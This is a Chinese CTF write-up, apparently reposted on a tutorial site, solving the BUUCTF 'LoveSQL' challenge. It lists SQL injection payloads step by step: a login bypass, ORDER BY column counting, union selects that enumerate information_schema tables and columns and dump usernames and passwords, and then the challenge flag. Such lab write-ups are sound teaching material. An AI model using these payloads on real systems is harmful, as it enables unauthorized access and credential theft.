【BUUCTF】[极客大挑战 2019]LoveSQL
2022/7/23 2:22:47
本文主要是介绍【BUUCTF】[极客大挑战 2019]LoveSQL,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
1、打开靶机,先尝试一下万能密码
1 admin'or 1=1# 2 1234
2、尝试爆字段
1 admin'order by 1# 2 admin'order by 2# 3 admin'order by 3# 4 admin'order by 4#
3、看回显位置
1 1' union select 1,2,3#
回显在二、三位置
4、爆数据库
1 1' union select 1,database(),version()#
5、爆表名
1 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
数据库表名有:
geekuser
l0ve1ysq1
7、爆列名
1 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#
1 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
8、读取内容
geekuser表
1 1' union select 1,2,group_concat(id,username,password) from geekuser#
l0ve1ysq1表
1 1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
flag{428ee3fa-fa62-470b-acd2-30d4495ae79e}
这篇关于【BUUCTF】[极客大挑战 2019]LoveSQL的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-13PingCAP 戴涛:构建面向未来的金融核心系统
- 2024-05-09flutter3.x_macos桌面os实战
- 2024-05-09Rust中的并发性:Sync 和 Send Traits
- 2024-05-08使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B
- 2024-05-08完工标准(DoD)与验收条件(AC)究竟有什么不同?
- 2024-05-084万 star 的 NocoDB 在 sealos 上一键起,轻松把数据库编程智能表格
- 2024-05-08Mac 版Stable Diffusion WebUI的安装
- 2024-05-08解锁CodeGeeX智能问答中3项独有的隐藏技能
- 2024-05-08RAG算法优化+新增代码仓库支持,CodeGeeX的@repo功能效果提升
- 2024-05-08代码报错不用愁,CodeGeeX一键完成代码修复、错误解释的功能上线了!